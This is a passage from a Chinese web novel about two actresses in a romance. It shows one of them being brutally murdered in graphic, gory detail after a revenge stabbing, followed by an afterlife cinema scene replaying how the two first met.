第七天，苏芙找到了苏寄欢，她正蜷缩在床上滑动手机，片刻后苏寄欢拨通一人电话询问有没有见过祝星亦。 得到否定的答案后，苏寄欢疲惫地歪在床上，空洞的眼盯着天花板。 “晏家动用了海外关系，她们会保晏瑾年平安。”苏芙盯着苏寄欢的眼角沉吟后，突然结巴起来：“我听说……星星跟着晏瑾年一起去了海外，知情人说她们在一起了，如果国内环境不好，她们会，会，会定居海外。” 时间忽然停住了。 苏寄欢想起她和祝星亦的最后一面，祝星亦不耐烦地赶她走，用尽一切恶毒的语言伤害她。 通过新闻和警方播报，苏寄欢得知了关于祝星亦的一切罪状。 昔日当红的顶流小花，一夜之间沦为[法制咖］，一夜之间全方位塌房，到现在，人也不见了。 祝星亦变成现在这样，她也有责任，她没有好好看着她，没有管好她。 但她现在更伤心祝星亦给她的这个结局。 为什么，究竟为什么。 为什么祝星亦要选择晏瑾年，为什么从头到尾自己都不是那个被坚定选择的人。 “她做什么，和我无关。我们早就分手了。”苏寄欢微笑着，唇角**裂的唇纹撕开细小的血口。 她扶着床站起来去倒水喝，杯子碎裂的声音响起，她跪倒在地，额头磕碎了初秋的晨光。 “寄欢！”苏芙惊恐地去扶晕倒在地的人。 // “还有六十公里我就到安全屋了，放心，我会安全抵达。” 挂断电话，祝星亦的新跑车正切开临海盘山公路的寂静。 夜色如墨，她右手随意搭着方向盘，副驾驶座的备用机震动响起。 祝星亦瞥了眼来电显示，快速打开副驾旁的窗户把手机丢了出去。备用机坠落时撞在凸起的礁石上，屏幕里[晏璟霖］的名字和金属碎片四处飞溅。 车载音响突然炸开激烈的音乐—— [Savemefromthisemptyfight， Inthegameoflife， Likeapoemsaidbyaladyinred ……］ ——LadyGaga《Abracadabra》 祝星亦跟着放声歌唱，她左手探出车窗，疾风从指缝间呼啸而过。随后她猛地按下敞篷开关，咸涩的海风灌进喉咙。 散落的长发在黑夜里随风飘荡，她摸出烟咬住滤嘴快速点燃，很快，她嗤笑着狠踩油门，跑车将夜风劈成滚烫的碎浪。 祝星亦仰头吐出第一缕烟雾，车载屏幕跳出超速警示，她靠在椅背上单手开车，噙着笑意冷哼出声：“晏璟霖，去你爹的，等死吧你。” 第124章 杀了你！ 溪城是一座南方的滨海小城，这个季节暑气未退，祝星亦穿着白T格子衬衫长裤，扎个低马尾不施粉黛，干净利落，日常出行戴着帽子和口罩。 安全屋设在老破小的居民楼里，一共8层楼，祝星亦住6楼。居民楼没有安电梯，祝星亦每天都要步行上楼。 好在祝星亦身体素质非常好，别说爬6楼了，爬到16楼她也不会大喘气。 保镖住在隔壁，随时照看祝星亦的安危。祝星亦每天都悠闲得很，会在保镖的陪同下去菜市场逛逛，看到自己代言的广告牌被撤下，她会笑着拍张照留念。 她还会去跟苏寄欢的广告牌合照，或去店里用现金买一份苏寄欢代言的产品，然后对着产品包装上的苏寄欢自言自语。 小区楼下就有苏寄欢的广告灯牌，半人高，晚上灯牌亮了，祝星亦站在阳台就能看到。 这几天灯牌好像有点坏了，一闪一闪的，祝星亦差保镖给了点钱去提醒修一修，店主答应了，但不知道什么时候能修好。 热搜上每天都会蹦出新词条，要么是祝星亦的，要么是晏氏的，要么是……苏寄欢的。 祝星亦闲着没事的时候就刷这些新闻，她自动忽略关于自己的内容，只认真查看苏寄欢的消息。 苏寄欢的钱款追回来了。 苏寄欢开了新闻发布会。 苏寄欢成为被所有人心疼的实力影后，疯狂涨粉。 苏寄欢的[苏盛］因为坏人倒台，获得了新一轮的投资。 苏寄欢的影视部开始正常运营。 苏寄欢的《琳琅》开拍了。 苏寄欢面对记者关于[祝星亦］话题的提问，摇摇头闭口不谈。 苏寄欢的友人透露，苏寄欢对祝星亦的行为感到很失望。 …… 祝星亦刷到营销号剪辑她和苏寄欢的视频，并配文[遗憾］话题，以及[月星百万］的cp话题的视频，祝星亦总是在视频界面停留好久好久。 她翻着那些评论，看有人骂她，她置之不理，看有人心疼苏寄欢，她抬手点赞，看有人说她们遗憾，她看着那一段段长长的评论和无数cp粉的惋惜，她会沉默好久后，把头埋在枕头上。 为了保护自身安全，为了不让那些有可能再次站起来的坏人盯上她，警方对祝星亦的所作所为严格保密，祝星亦自身也会保守这个秘密。 晏氏不彻底倒下，这个秘密就不能暴露出来，否则那些倒台的人绝对会想尽办法伤害她和她的家人。 傅锦懿问祝星亦，要不要跟苏寄欢说一声，毕竟在这场仗里，苏寄欢受的伤很大，而且傅锦懿相信苏寄欢会帮忙保守秘密。 祝星亦摇摇头说算了，谁都可以知道这个秘密，唯独苏寄欢不能。 “如果她知道我在这两年多里做了什么，她一定会恨死我。”说这话时，祝星亦绞着衣角低头，声音里饱含歉意，“毕竟我和她在一起的时间也就两年半，我欺骗她，隐瞒她，又做了那么多没有尊严的事，她肯定会很讨厌我。” “她对我要求很高，她希望我是一个有尊严的人，可我……” “当然，我也不想让她知道我为她做的这些事。我不想让她对我感到愧疚、心疼，我也不想让她再去想办法去补偿我。她给我的太多了，即便如此，我也觉得报答的不够。” 她说完眼角便酸涩难耐。 “就当……我在还她的恩情。”祝星亦抹了下眼角的泪抬头跟傅锦懿说，“她给了我太多太多，我为她做的这些事就是在报答她，我和她……两不相欠。” 傅锦懿怔了怔：“两不相欠？你以后……再也不和她联系了吗？” 祝星亦摊手笑说：“我已经没有机会再见到她了，我现在是无法被洗白的艺人，我的娱乐圈生涯已经断了，日后我就是一个有钱的素人。” 她看向初秋的夕阳叹口气：“我其实觉得没有什么遗憾了，我得到过那些荣誉，我去过高高的位置，我也得到过她的爱，我这辈子过得挺值的。” 傅锦懿蹙着眉心喃喃：“祝小姐，你真是这么想的吗？” 祝星亦点点头：“是啊，等这场风波过去我就回岭州，我有很多钱，够我全家花几辈子呢。等大家忘记这回事，我估计会开个舞蹈机构，你也知道，互联网没有记忆，我很快就可以过上正常人的生活，无人打扰。” 她笑笑，身子疲惫地塌下去。 傅锦懿沉默不语。 台风登陆前一天，祝星亦采购了许多东西到家，还嘱咐了下隔壁保镖们关好门窗。 大风大雨会持续两三天，祝星亦把食物放好便舒舒服服窝在床上看苏寄欢以前的影视剧。 自从她回归素人，她整个人的气色都变好了。不用跑通告，不用拍戏，每天睡到自然醒。 之前她开玩笑地跟孟斯汀说，她好想过一辈子这样的生活，有钱有闲。 孟斯汀拿起苏寄欢代言的饮料喝了一口轻声问：“真是这样的吗？” 祝星亦咬着唇角点点头。 孟斯汀看着满屋子苏寄欢代言的产品，还有满墙的苏寄欢和祝星亦的合照，沉默许久说：“嗯，希望你如愿。” 台风过境那天，暴雨在玻璃窗上炸开万千银箭，祝星亦斜倚在沙发里，纤白指尖抚过平板上的苏寄欢。 惊雷乍起时，她耳尖微动，赤足踩着地板走向玄关。 猫眼被堵上了。 祝星亦勾着唇角握动门把手，门开的一刹那，闪电劈亮走廊里浑身湿透的晏璟霖。 长腿横扫，晏璟霖的金丝眼镜应声碎裂在地上。 “我就知道你会来找我。”祝星亦旋身扣住对方咽喉，将人拉进屋子重重摔在瓷砖地上，“你还挺闲的，这么多人抓你你都能跑得掉？” 晏璟霖挣扎着要去抓她脚踝，却被祝星亦踩着腕骨碾在碎镜片上，她吃痛地哼了声，可恶，这女人力气怎么那么大！ 祝星亦俯身时墨色长发垂落如瀑，“你不会真以为你能这么轻松找到我，是因为你本领大吧？” “你敢背叛我！”晏璟霖嘶吼起来，“你这个贱人！” 刀尖抵住晏璟霖颤抖的脸，祝星亦阴冷发笑：“从我接近你开始，这个局就已经为你设下。我何曾忠诚过你？你未免也太自信了，你真以为你那点东西能诱惑我？” 晏璟霖脑袋闪过一阵轰鸣声。 她以为祝星亦只是站在警方那边帮忙举证，没想到……没想到…… 祝星亦抬刀勾起晏璟霖的下巴冷淡出声：“警方说要亲自护送我，避免暴露行踪，我拒绝了，因为我知道你肯定想要找到失踪的我问个明白。” “我知道你的妈妈晏珂已经动用所有关系保护你，她不会让你被抓到，你只要在这两天顺利出国，就万事大吉。” “可以你的性格，你怎么可能会放过我呢？你肯定会想尽一切办法找我问个明白，所以我开着我的跑车来到了溪城，我希望你能找到我。” “如果你放弃对我的追责，你还能安安稳稳去国外享清福，但你非得找我一趟，你这不是找死？关上这扇门，就算我把你杀死了，我都算自我防卫。晏璟霖，你不会以为我真像你以为的那么柔弱？” “我能被封影后，靠的是苏老师对我悉心的培养，靠的是我完美无缺的演技。” “演员的素养，就是让人分辨不清什么是真，什么是假。” “晏璟霖，你太天真了，你的力量弱于我，一对一的话，你没有丝毫胜算。” 惊雷炸响中寒光骤闪，祝星亦手中的匕首穿透晏璟霖右肩钉入地板。 她听着晏璟霖的惨叫声混在雨声里，笑得眼尾泛红：“这一刀，是替我自己捅的，你打了我多少巴掌你数得清吗？” 很快，祝星亦拔出刀。 晏璟霖惨叫着费力挣扎，却丝毫挣脱不开。 祝星亦右手撂起刀，左手接下刀捅在晏璟霖另一只胳膊上，同时快速换右手按住晏璟霖：“这一刀，是替被你操控的明星们捅的。你让那些人受辱的时候，有想过自己会有这么一天吗？” 晏璟霖凄惨地叫喊出声：“祝星亦！你这个贱人！我要你不得好死！” 晏璟霖说着又挣扎起来想要还手，祝星亦不给她机会，转手捅在她左胸口处。 祝星亦看晏璟霖瞳孔紧缩，兀自笑出声，像魔鬼一般凑在晏璟霖耳边说：“这一刀，是为我的女人苏寄欢捅的。二十多年前，在你们晏家人伤害她的时候就应该想到，未来会有一个很勇敢的人为她出这口气。” 祝星亦说完快速拔出刀，第四刀捅在晏璟霖腹部，她阴狠地笑着说：“这一刀，是为上辈子的我捅的，但我很感谢你上辈子害死了我，否则我这辈子怎么会遇见苏老师。我真是谢谢你啊，晏璟霖。” 晏璟霖的挣扎似乎都没了力气，不等祝星亦拔刀再继续捅下去，门被破了。 段以溶冲了进来，她抄起一个摆件朝祝星亦砸了过去。祝星亦侧身轻巧地避开段以溶砸来的摆件，她冷笑一声，手中的刀在昏暗的灯光下闪烁着寒光。 “来得正好，一起解决。”祝星亦的声音冰冷刺骨，她猛地冲向段以溶，手中的刀直直刺去。 段以溶惊慌失措地侧身闪躲，一个踉跄差点摔倒。祝星亦乘胜追击，刀锋在段以溶的手臂上划开一道口子，鲜血瞬间涌出。 受伤的晏璟霖见状，强忍着疼痛从祝星亦身后扑了过来，她用尽全身力气，一把抱住祝星亦的腰试图将她摔倒。 祝星亦身形一顿，用力挣扎，想要摆脱晏璟霖的束缚。 但晏璟霖抱得太紧，她被这一扑打乱了节奏。段以溶见状，也顾不上手臂的疼痛，夺过祝星亦手里的刀狠狠刺向祝星亦。 祝星亦躲避不及，锋利的刀刺进了她的腹部，她闷哼一声，鲜血染红了她的衣衫。 “你们以为能逃得掉！”祝星亦顾不上疼痛，愤怒地吼了一声，拼尽全力一脚向前踢去，“你们这群烂狗！” 段以溶被踢开，刀从祝星亦腹部抽出时带出一串血珠。 刀捅得太深，伤到了内脏，祝星亦咳了一声，嘴边溢出了血沫。 好痛。 指尖开始发冷。 她捂着腹部强撑着身子抄起桌子上一个利器，正要往段以溶身上砸去，身后的晏璟霖用不知道从哪里找来的绳子勒住了她的脖子。 绳子收紧，祝星亦青筋暴凸。 “去死！祝星亦你去死啊！”晏璟霖勒紧祝星亦的脖子，背过身子拖起受伤的祝星亦，她用尽全部力气，想要把祝星亦的脖子勒断。 “放开我！放开我！”祝星亦吼了起来，“别碰我你们这群脏东西！做尽恶事，你们以为自己真能安稳从这里离开吗！放屁！就算杀了我，你们也跑不了！” 晏璟霖咬牙喊：“以溶！快！快啊！” 段以溶快些从地上爬起来，握紧刀瞪着眼刺向祝星亦。 “你这个贱货！贱货！”段以溶再一次捅向祝星亦的腹部。 刀在竖着。 手腕一转，刀刃在腹内转动。 “啊——” 肠子被搅碎的剧痛让祝星亦发出非人的嚎叫。 肚皮好像被剖开了，薄薄的皮肉像掉了角的报纸，碎了的肠子从肉里挤出。 刀子接二连三地捅进她的胸口、腹部、手臂、腿。 捅穿了。 手臂捅穿了，腹部捅穿了。 她嚎叫着，像厉鬼，像被一点点割掉血肉的牲畜。 “滚开！放开我！” “你们活该！晏璟霖你有今天，活该！” “你们晏氏折磨了她这么久，真以为她会被你们打倒？” “你们大错特错！她和你们这群烂狗不一样，她是不会被你们打倒的！而你们会得到报应哈哈哈哈你们会得到报应！现在就是你们的报应！” 她嚎叫着，但她痛得双眼模糊，声音也哑了。 她去抓段以溶的手，却被段以溶硬生生折断了手腕。 晏璟霖再次收紧绳子，勒得她面部青紫，几欲窒息。 “捅死她！捅死她！快！”晏璟霖发了疯似地喊着，她咳了几下，咳出血丝，“以溶，我有点坚持不住了，你……” 她环顾四周，瞥向阳台：“快！把丢到楼下！从阳台上把她丢出去！6楼，6楼够把她摔死了！把她丢下去！丢下去！” 她说完，嘴角溢出一丝鲜血。 段以溶担忧地惊呼：“大小姐！你！！” “把她扔下去！我要看着她死！快点！”晏璟霖按着地面嘶吼出声，她坚持不了多久，她不知道自己会不会死，但她一定要看着祝星亦死。 段以溶点了点头，她费力地拉起祝星亦的脚踝，把这个已经无法动弹的人往阳台拖。 血，腹部如泉涌的血在地板上拖出一条惊悚的血痕。 祝星亦破碎的声音响起：“你们完蛋了，但她会比任何人过得都要好。这才是她应得的结局，你们，去死，你们去死啊，你们去死……” 将还在嚎叫的女人拖到窗边，段以溶扛起女人，用力往下一丢，祝星亦的身体直直地坠了下去。 6楼。 这么高的高度，加上被捅得已经翻开皮肉裸。露内脏的肚皮，活不了，绝对活不了。 血在雨夜里晕染开来。 隔壁的保镖撞着被堵住的房门，很快就要把门撞开。段以溶搀着晏璟霖走出祝星亦的房间，用脚再次把保镖屋子的门前障碍物往前移移。 “快，快带我去医院！”晏璟霖大喘着气说。 段以溶怕祝星亦死不透，问：“我们就这样走了吗？祝星亦……” “她活不了！”晏璟霖捂着身上的伤口命令：“快带我走！别管她了！” 声音湮灭在雷暴里。 祝星亦躺在地上半睁着眼看着小店的广告牌，苏寄欢的广告牌还没被修好。 痛，痛死了。 四肢好像全都碎了，腹上一直流着血。 “苏……”祝星亦看着熄灯的广告牌艰难地出声。 “苏……” “苏……” 怎么会这样，怎么又是这样…… 她还有很多没有说出口的话。 她的爱人教她很多次，长嘴一定要说话，她总学不会。 她幻想过如果有一天她再见到苏寄欢她要说些什么，可始终别扭的她完全想不出来开口的第一句应该是什么。 她也觉得她太贪心，她那样对苏寄欢，怎么还能奢求能再次和苏寄欢见面。如今身败名裂的她，怎么有脸站在苏寄欢面前。 更现实的问题是，她命数已尽。 她坚持不了几分钟了，她好痛，她好痛，她太痛了。 她觉得这样的结局配不上她，可她又觉得这已经是最好的结局。 她的爱人会前程似锦，她这辈子也风光过，被她的爱人深深爱过。 她遇见苏寄欢后真的很幸福，她在无数个瞬间觉得自己幸福得要命，所以这辈子她没有什么遗憾。 可她还是有点不甘心就这么死了，她还没有过24岁的生日，她还欠她的爱人一句道歉。 她要说，对不起，苏老师，对不起。 电闪雷鸣的暴雨中，祝星亦朝那个还没有修理好的广告牌爬去，她实在没什么力气，拖着沉重的、满是血水的身子缓缓爬行。 柔软的东西从腹中挤出来，拽得她难受，她摸了摸，原来那是她的肠子。 她想象自己爬到那个广告牌前诚挚地跟苏寄欢道歉，可她爬了许久才爬了十几厘米。 她累了，她好冷。 她好痛。 她用尽所有力气朝那个破旧的广告牌伸出手。 “苏……苏老师……” “对……不……起……” 她好想再一次被苏寄欢抱着，她想躲进苏寄欢温暖的怀抱里，想被苏寄欢轻轻拍着背。 想听苏寄欢说，我的小鸟，你慢慢飞。 想听苏寄欢说，我的星星啊，我漂亮的、可爱的小狐狸，我永远爱你。 想听苏寄欢说，没事的，我不怪你。 可她的爱人，永远都不会原谅她了。 她望着广告牌上苏寄欢的脸，她最后一眼，最后，最后看了一眼她爱人的模样。 她垂下手臂，她感觉身体轻得像羽毛。慢慢地，她感知不到任何东西。 她写了一个好剧本，她演了一出大戏，可太遗憾了，她要谢幕了。 弥留之际，她想到很小的时候祝霜跟她说过的话：“星星啊，你知道妈妈为什么给你起这个名字吗？” “为什么呢妈妈？” “祝星亦，[祝你前路星光熠熠］，妈妈希望你能成为闪闪发光的星星，也希望你的未来星光璀璨。” 后来啊，后来她做到了，她成为了闪闪发光的大明星，也是苏寄欢怀里幸福的小星星。 现在，她要成为天上的星星了。 她睁着眼睛，雨水肆无忌惮地灌进她眼里，她的瞳孔开始扩散。 十分钟后—— “祝小姐！祝小姐！”保镖在楼下找到了支离破碎的祝星亦，伸手探鼻息，摸脉象，以及查看瞳孔，“啊！！” “她……祝小姐她怎么了……” 地上是一具冰冷的躯体。 保镖抬手阖上祝星亦的眼，悲哀地低下头。 “她死了。” 第125章 [人死了要去电影院］ 暴雨和疾风敲打着世间的一切，哗哗的雨水灌满街道和溪城的空气。沉寂的秋天接住这阵汹涌的激烈，黑夜中，整个世界像被海浪包裹住，无法喘息。 小店门口，失修的广告牌被风雨肆虐许久，噼里啪啦闪动起来。 激怒的风雨里，悲愤又咸腥的海风无休无止地冲撞过来。 下坠的雨水吞没了大街小巷，半人高的广告牌像是漆黑的夜里不停闪烁的萤火。 忽然。 广告牌亮了。 哗啦啦—— 海水倒灌进耳中。 哒哒哒—— 脚步声在前方响起。 刺眼的光亮起，熄灭，亮起，熄灭……如此反复多次，祝星亦疲惫地睁开眼睛。 视线还有点模糊，祝星亦抬起手揉揉眼，周围都是黑暗的，只有眼前的东西亮着。亮着的东西是一方巨大的屏幕，层次分明的座位上，人们缓缓落座。 屏幕上在播放着什么东西，祝星亦的眼睛缓了好久才看到那是她代言过的广告。 还有……苏寄欢代言的广告。 人们交头接耳着，不知道在说什么。 祝星亦在位置上坐了许久才发现这里是电影院。 周围所有人的脸都是模糊的，人们的声音也是机械的电子音。 祝星亦靠在椅背上看着大荧幕上播放的广告出神，人死后，原来真的会去电影院啊？ “你才过来啊，你知道今天上映的是什么吗？”身旁的人问。 机械的音色，还带着细细的电流，听不出是谁的声音。 祝星亦转过头，那人的脸很模糊，身形也看不到，和在场的所有人都一样看不清是谁。 祝星亦低头动了动手，她的身子是完好的，衣服还是她死前穿的那身米白色睡衣。睡衣很干净，没有一点点血渍。 “不知道。”祝星亦靠在椅背上注视着身旁那人看不清的脸说，“你知道吗？” “我肯定知道啊，我看了很多次。我在这里很久了，我一直在看我们的电影。”那人回答。 祝星亦来了兴趣：“看了很多次？那你是谁？你们是谁？” “我们？”那人笑出声，“我们是我们啊。” 祝星亦问不出个所以然，转头盯着屏幕上的广告喃喃道：“那这部电影讲的是什么？是我吗？那些人说人死了会去电影院，会放很多电影，也会放自己的故事。你在这里看了那么多电影，有看过我的吗？我活着的时候也演了很多电影，你有看到过我吗？” 那人点点头：“肯定啊，肯定看过。我看的都是我们的电影，太多了，看不完，我就喜欢循环其中几个，今天这个我也喜欢。” 听着那人轻松的语言，祝星亦不免放松许多，也不把死亡当回事。 既然死后真的可以去电影院，那就……暂时享受。 “那这部电影你可以给我剧透一下吗？”祝星亦提出一个小请求，“我想知道合不合我口味。” 那人问：“你喜欢BE的还是HE的？” 祝星亦不假思索道：“肯定是HE啊，谁喜欢看BE啊？那不是纯纯找虐受？” 那人耸肩道：“是啊，我也超讨厌BE，但有些编剧就喜欢搞什么BE美学，我完全不理解，什么脑抽编剧，这么喜欢给观众发刀子。每次看到BE，我都恨不得给编剧寄刀片。” 祝星亦被这人逗得笑出声：“你真有意思，我也是这样想的。不过有的剧本虽然是BE，但确实是好作品，那就没办法了。” 那人叹口气：“看来你接受BE啊，也行，这部嘛……算了，你先看吧，我估计你会喜欢。” 下一秒，影厅陷入完全黑暗。 身边那人说：“好啦，要开始演了。” 祝星亦专心看向大荧幕。 噔噔～噔～噔噔～噔～～ 龙标出场后，是春山的空镜。 春山上出现两个主演的名字。 [主演］ 祝星亦/苏寄欢 电影的名字是…… 电影没有名字。 // 麓城的春天总是湿漉漉的，有时天气阴沉沉、雾蒙蒙，去外面溜达一趟头上便是雾水。 苏寄欢倒是习惯了这样的天气，毕竟她是麓城人，不习惯也没办法。她总说，春天下雨还算好啦，碰到回南天和台风天那才是没办法。 友人到麓城若是碰到烦人的回南天，苏寄欢总会淡定地拿出抽湿机和烘干机说，没关系，麓城就这样，习惯就好。 友人瘪嘴，谁要习惯这样的麓城，要不是麓城遍地是黄金，我才不乐意来。 苏寄欢会哈哈笑几声。 春分那天，苏寄欢去了鹿芜观。鹿芜观在清心山东山那头，观后面有一个很大的草甸，还有一个鹿场。 程老师说那个鹿场里的鹿会顶人，去往鹿芜山的路上也会有鹿，一定要小心些。 之前苏寄欢不信邪，碰见山里的鹿还会逗逗，结果被冲击过来的鹿吓得花枝乱颤。后面她逢人就说，千万不要惹那些鹿，会顶人呢。 苏寄欢去鹿*芜观时较早，山间飘荡着茫茫大雾，驳杂的万花迷人眼，她拜了拜玄女娘娘便下了山。 下山的时候雾便散了，山间传来一阵阵鹿鸣。 苏寄欢站在小亭子里遥望了下美丽的清心山，清心山西头有座很火的道观，清心观。清心观人太多，苏寄欢不喜欢那里，她喜欢清静，所以每次都来鹿芜观溜达一圈。万一被鹿顶了，回去还能发个倒霉的朋友圈。 草木蔓发，春山苍苍。苏寄欢瞭望了下远方继续下山，还没走一段路便听到一阵哀嚎。 哀嚎声越来越近，苏寄欢好奇得很，刚小跑了几步来到转弯处，一个红色的身影扑在她身上。 嚯，这人真有力气，直接把她扑倒了！ 苏寄欢一屁股坐在地上，身上的人还在哀嚎。 正要安抚对方别嚎了，苏寄欢转头看到冲击过来的鹿。苏寄欢立马明白了什么，一个鲤鱼打挺起身赶那头鹿。 鹿被她吓跑了，她转头准备去拉被吓得坐在地上的人。 那人抬头，明艳的五官，雾蒙蒙的眼红红的，薄薄的刘海有些纷乱，红裙子都是褶皱，像被鹿欺负得可怜兮兮的狐狸。 哎。 好可爱，好漂亮。 好可爱啊，好漂亮啊。 女孩搭上苏寄欢的手，苏寄欢却在原地愣了会儿。等温热传来，苏寄欢才动了下手把人拉起来。 “谢谢你！”女孩吸了吸鼻子道谢，她拍拍裙子有些拘谨地瞄了苏寄欢几眼小声说：“你……你是不是……苏寄欢？” 苏寄欢还在盯着女孩看，意识到不太好后点点头，恢复冷峻的模样点点头。 女孩明显激动起来，裙摆都是愉悦的弧度，她介绍自己叫祝星亦，说自己是《青春理论》的选手，马上要决赛了，准备去拜拜神，可惜清心观人太多，她便来了鹿芜观。 祝星亦问苏寄欢是不是要下山了，苏寄欢咳了声摇头说：“哦，我也是刚来，要一起上去吗？” “要！”祝星亦脸红扑扑的，整个人都要跳起来。 祝星亦跟着苏寄欢往山上的道观走，边笑边说，啊，苏老师，我是你的粉丝，我很喜欢你的影视剧。 苏寄欢看她是自己的粉丝，不免端了起来，可惜她总被这个絮絮叨叨讲话的人吸引。 这只脸红红的小狐狸说一句，她看一下，动一下，她又看一下，看得小狐狸抓着裙子低下头不敢再说话。 拜神时，祝星亦一直瞄向苏寄欢。苏寄欢挑眉说，你干嘛老是看我，专心拜神。 祝星亦咬着嘴唇拜完起身挠挠头说：“苏老师，你……嗯……你太好看了，我忍不住想看你。” 这下轮到苏寄欢脸颊发烫，不过她还是摆出一副大明星的模样，坦然接受这个夸奖。 写祈福牌的时候，苏寄欢看着认真写字的祝星亦，想了会儿，在木牌上写了个心愿。 挂上去后俩人下山分别，离开前，祝星亦抓着衣角仰头看苏寄欢，小声问：“苏老师，你能不能祝福我一下？你就祝我……可以成团出道。” 苏寄欢给了她祝福，还祝她可以冠军出道。 她抚着胸口说：“我好开心！谢谢苏老师！” 苏寄欢没想到自己的祝福那么顶用，这只小狐狸居然真的冠军出道了。 而且，还是她亲手颁的奖。 去《青春理论》决赛现场前，晏瑾年指定她过去。 说实在的，苏寄欢很乐意，毕竟可以再次见到祝星亦，但晏瑾年那副腔调她实在讨厌。 这么多年了，苏寄欢还是很讨厌晏家的人。如果不是这些人逼得她低头签约，她是不会和这些人有任何合作牵扯。 晏氏没有一个好人。 给祝星亦颁奖的时候，苏寄欢一直在看祝星亦，手里的奖杯差点掉地上。 鹿芜观分别后，苏寄欢一直记挂着这个女孩。熬夜追了这部选秀综艺，把这个女孩的喜好摸了个遍儿。 嗯。越看越喜欢。 苏寄欢还戴上眼镜研究如何给她投票打榜，可惜操作不灵活，总被超话里的提醒发博的格式不对。 成团后的宴会上祝星亦一直跟在苏寄欢身边，苏寄欢面不改色地和艺域的ceo容羽珍交流，时不时夸一下身旁的祝星亦。 苏寄欢夸祝星亦用词十分谨慎，一点点亲近的感觉都没有。祝星亦倒是开心得要命，被夸一个字都会笑得合不拢嘴。 宴会后祝星亦和她交换了联系方式，祝星亦握着手机挠挠头问：“苏老师，你会经常联系我吗？我好想你多给我发信息呀，我有和你说不完的话呢！” 苏寄欢挑眉说：“好，我也有很多话跟你讲，我也想多给你发信息和你聊天。” 苏寄欢刚说完，面前的人忽然冒了热气，跟茶壶似的，砰得一声，茶壶盖被炸飞。 这只浑身发红的狐狸跟变了形似的嘟嘟囔囔几句匆匆离开，苏寄欢看着她仓促离开的背影自言自语：“诶，怎么那么可爱呢。” 苏寄欢很信守承诺，每天都给祝星亦发信息，比如吃饭了没呀，去哪里表演了，ilmeth的人对你好不好呀，今天有什么活动吗，工作辛不辛苦呀，要不要出来一起吃个饭。 直到祝星亦红着耳朵坐在自己对面用餐，苏寄欢还在一动不动盯着祝星亦看。 祝星亦揉揉脸小声问：“苏老师，你怎么不吃饭啊？你不饿吗？” 苏寄欢这才慢悠悠拿起餐具吃饭，饭后压马路，祝星亦开始讲她的同事。 讲Shinyfive的队友们，讲ilmeth的同事，讲见到了传说中的林总。 “林总好霸气啊！”祝星亦眼里闪着光芒，“她对员工是真的很好！我太幸运被她签了！” 祝星亦还在选秀期间就被签进大公司ilmeth，ilmeth看她是实力强劲的个人练习生便早早下手了，事实上ilmeth没看错人，她确实强劲。 祝星亦背着手倒着走问：“苏老师，你签的是[晏影］，[晏影］对你好不好？” 苏寄欢想了想，是啊，这是个问题，[晏影］对她好不好呢？晏氏的人对她好不好呢？细数下来，她对晏氏来说只是个戴着锁链的赚钱工具，如果有机会，她一定会逃离[晏影］。 苏寄欢含糊地回答了两句，刚说完，有阿拉斯猪拖着主人跑过来，苏寄欢赶忙把倒着走的祝星亦拉进怀里。 等阿拉斯猪地主人哀嚎着被拖远，苏寄欢才放开怀里的人。她低头看祝星亦，却见祝星亦脸红得要滴水。 许久许久，祝星亦小声说：“苏老师，你好香，你的味道好好闻。” 苏寄欢大大方方地靠近她，36D的胸脯都要抵在她身上，还说：“是柚子花香，真的很香吗？喜欢就多闻闻。” 然后祝星亦捂着脸倒退几步，嘴里说着，苏老师我要回去了，感谢你请我吃饭。 说完，人一溜烟不见了。 苏寄欢没放弃这个问题，隔天买了自己常用的香水送给她。 祝星亦纠结许久收下了香水，苏寄欢要她不要放着，先喷两下。她还没拿出来，苏寄欢手快把香水掏出来给她喷上。 喷完后，苏寄欢弯腰伏到祝星亦脖子旁深吸一口气低声耳语：“现在，你身上也有了我的味道呢。” 白皙的脖子忽然变得过分粉嫩，苏寄欢低头笑看着祝星亦绯红的耳尖又如恶魔低语：“你也好香啊，让我多闻闻。” 于是，祝星亦被吓跑了。 但祝星亦跑不远。 没过多久，晏瑾年给苏寄欢接了部戏，一部双女主戏。 苏寄欢拒绝，她觉得接这种戏以后会限制自己，但晏瑾年否定她的意愿签了约。她要饰演清冷神尊云长洛，和徒儿唐离展开前世今生的虐恋。 苏寄欢百般不愿，直到看到ilmeth把祝星亦送过来，苏寄欢拧紧的眉毛忽然松开了。 “苏老师！我要演唐离耶！”主演见面的宴会上，祝星亦飞奔过来，她明显很激动，说话都有点语无伦次，“公司看我热度高，就给我接了这部剧，我没演过戏，我好害怕我演不好，苏老师，我万一拖累你了该怎么办啊？” 苏寄欢把她拉到自己面前，轻轻拍拍她的肩说：“别怕，我教你演，我是科班出身，也有教资，我会教你演。” 苏寄欢没想到和自己演cp的人居然是祝星亦。 这也太好了。 她垂眼看着眼前小自己8岁的小狐狸，小狐狸好像很紧张，也有点焦虑，于是她低头轻声说：“你放轻松些，我教你演，我做你的老师。戏外我是你的老师，戏里我也是你的老师。开拍前我们还要接受三个月的封闭训练，这段训练时间和未来的拍摄时间，你都跟着我，我一点点教你，好吗？” 苏寄欢看到面前的人眼里蓄满眼泪，紧接着这只泪眼汪汪的狐狸扑到她怀里不停地说谢谢。 苏寄欢收紧手，感受这只小狐狸的温度。 后来的封闭训练里，她再次抱着这只狐狸低眸浅笑道：“好了，你现在需要吻我啦。” 怀里的小狐狸涨红着脸一动不动，苏寄欢搂紧她笑说：“星星，当演员一定要敬业啊。” 话音刚落，她揽着祝星亦的腰吻住她惦念许久的唇。 她闭眼厮磨了片刻，睁开眼睛看到小狐狸好像意犹未尽。 她抿唇笑笑，继续吻。 她边吻边说：“我好喜欢和你亲亲，你喜欢和我亲亲吗？” 怀里的人想说话，苏寄欢不让怀里的人如愿。 她不断用吻封住祝星亦的回答，吻到祝星亦哼唧出声她才放开，然后听到祝星亦闭着眼小声说：“嗯，喜欢。” 第126章 [人死了要去电影院］ 导演看了后拍手大叫，哎！亲得好！亲得好啊！随后拿着剧本给两人说要改戏。 导演说，啊，你们看，这个小竹林里也可以亲嘛，多有氛围感。 又说，唐离从树上掉下来，也可以亲上嘛，虽然套路，但观众爱看。 又又说，重逢后拥抱就不要啦，亲一下嘛！ 如此一来剧里便加了许多吻戏，苏寄欢喜上眉梢，却故作严肃地咳了声说：“导演，这样并不好，亲一两次就算了，怎么加那么多吻戏。等剧播了，我俩以后的戏路会变窄。你说是吧，星星。” 苏寄欢盯着红着耳朵的祝星亦，祝星亦忙不迭点头嗯嗯两声。 导演不依，说，这有什么，这叫为艺术献身懂不懂？ 